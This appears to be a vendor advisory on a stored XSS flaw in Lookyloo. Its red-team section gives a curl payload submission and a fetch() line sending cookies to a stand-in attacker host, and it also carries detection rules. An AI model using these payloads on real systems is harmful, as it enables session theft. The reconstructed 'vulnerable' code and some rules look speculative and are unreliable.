CVE-2025-65095

Executive Summary

CVE-2025-65095 is a stored cross-site scripting (XSS) vulnerability in Lookyloo, a web interface for capturing and visualizing website call trees. The flaw exists in the index and tree pages, allowing an attacker to inject malicious scripts that execute in the context of a victim's browser. This can lead to session hijacking, data theft, or further compromise of the Lookyloo instance. The vulnerability is patched in version 1.35.1. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is elevated due to the ease of exploitation (low complexity, no privileges required) and the potential for widespread scanning via Shodan.

Supply Chain & Package Security

Lookyloo is a Python-based application distributed via PyPI. Users should verify the integrity of the package using checksums provided by the maintainer and ensure they are installing from the official PyPI repository (lookyloo). The vulnerability is not in a dependency but in the core application code.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit a crafted page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for chaining with other attacks (e.g., phishing) increases the real-world risk.

Deep Dive & Mechanics

The vulnerability resides in the way Lookyloo renders captured website data on the index and tree pages. When a user captures a website, the tool extracts various elements (e.g., URLs, domain names, page titles). If these elements contain malicious JavaScript code (e.g., <script>alert(1)</script>), and the application fails to properly sanitize or encode the output, the script will execute in the browser of any user viewing the captured data.

Root Cause: Insufficient output encoding of user-controlled data (captured from target websites) before rendering in HTML. The application likely uses a templating engine (e.g., Jinja2) but does not apply context-aware escaping for HTML attributes or script contexts.

Attack Scenario:

1. An attacker identifies a Lookyloo instance (e.g., via Shodan).
2. The attacker crafts a malicious URL containing XSS payloads in the query string or path.
3. The attacker submits this URL to the Lookyloo instance for capture.
4. Lookyloo captures the page and stores the malicious payload in its database.
5. When a victim (e.g., a security analyst) views the captured data on the index or tree page, the payload executes.
6. The attacker can steal session cookies, redirect the victim to a phishing site, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.35.1):

# In a template or view function
def render_tree(capture_data):
    # Directly inserting user-controlled data without escaping
    return render_template('tree.html', title=capture_data['title'], domains=capture_data['domains'])

<!-- tree.html (vulnerable) -->
<h1>{{ title }}</h1>  <!-- No escaping applied -->
<ul>
{% for domain in domains %}
    <li>{{ domain }}</li>  <!-- No escaping applied -->
{% endfor %}
</ul>

Patched Code (1.35.1):

# In a template or view function
from markupsafe import escape

def render_tree(capture_data):
    # Escaping user-controlled data
    safe_title = escape(capture_data['title'])
    safe_domains = [escape(d) for d in capture_data['domains']]
    return render_template('tree.html', title=safe_title, domains=safe_domains)

<!-- tree.html (patched) -->
<h1>{{ title }}</h1>  <!-- Now escaped by markupsafe -->
<ul>
{% for domain in domains %}
    <li>{{ domain }}</li>  <!-- Now escaped by markupsafe -->
{% endfor %}
</ul>

The patch uses markupsafe.escape() (or equivalent) to HTML-encode special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Lookyloo instance running version < 1.35.1.
• Ability to submit URLs for capture (no authentication required by default).

Exploitation Steps:

1. Craft a malicious URL: Create a URL that, when captured, will store an XSS payload. For example:

   http://attacker.com/?q=<script>alert(document.cookie)</script>
   

2. Submit the URL to Lookyloo: Use the Lookyloo API or web interface to capture the page.

   curl -X POST "http://target.lookyloo:5000/submit" -d "url=http://attacker.com/?q=<script>alert(document.cookie)</script>"
   

3. Wait for victim interaction: A security analyst or other user viewing the captured data on the index or tree page will trigger the payload.
4. Exfiltrate data: The payload can send cookies or other sensitive data to an attacker-controlled server.

   fetch('http://attacker.com/steal?cookie=' + document.cookie);
   

Note: No public exploit code is available, but the above steps demonstrate the attack vector.

Blue Team

Detection:

• Monitor Lookyloo logs for suspicious URLs containing HTML/JavaScript payloads.
• Use web application firewalls (WAF) to block requests with obvious XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Honeypot Setup:

• Deploy a Lookyloo instance with version < 1.35.1 in a sandboxed environment.
• Monitor for incoming capture requests and analyze payloads.
• Alert on any JavaScript execution attempts in the browser.

Lab Environment:

# Using Docker to set up a vulnerable instance
docker run -d -p 5000:5000 --name lookyloo-vuln lookyloo/lookyloo:1.35.0

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing <script>, onerror=, onload=, or other XSS vectors submitted to Lookyloo.
  • Outbound connections from Lookyloo to attacker-controlled domains (e.g., for data exfiltration).
• File IOCs:
  • Lookyloo database entries containing HTML/JavaScript payloads.
• Log IOCs:
  • Lookyloo access logs showing POST requests to /submit with suspicious url parameters.
  • Browser console errors or CSP violation reports.

Detection Engineering

YARA Rule

rule CVE_2025_65095_Lookyloo_XSS {
    meta:
        description = "Detects XSS payloads in Lookyloo capture data"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-65095"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss_url = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Lookyloo XSS Payload Submission
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects submission of URLs containing XSS payloads to Lookyloo
author: Valters IT
logsource:
    category: webserver
    product: lookyloo
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/submit'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate security testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65095 Lookyloo XSS Payload Submission"; flow:to_server,established; content:"POST"; http_method; content:"/submit"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Lookyloo: Update to version 1.35.1 or later.

   pip install --upgrade lookyloo
   

2. Apply WAF Rules: Block requests containing XSS patterns to the /submit endpoint.
3. Enable CSP: Add a Content Security Policy header to mitigate script execution.

   Content-Security-Policy: default-src 'self'; script-src 'none'
   

Long-Term Measures:

• Implement input validation and output encoding for all user-controlled data.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs and apply patches promptly.

Workarounds (if patching is not possible):

• Restrict network access to the Lookyloo instance (e.g., VPN only).
• Disable the capture functionality if not needed.
• Manually review all captured data before viewing.

Valters IT
Securing Digital Frontiers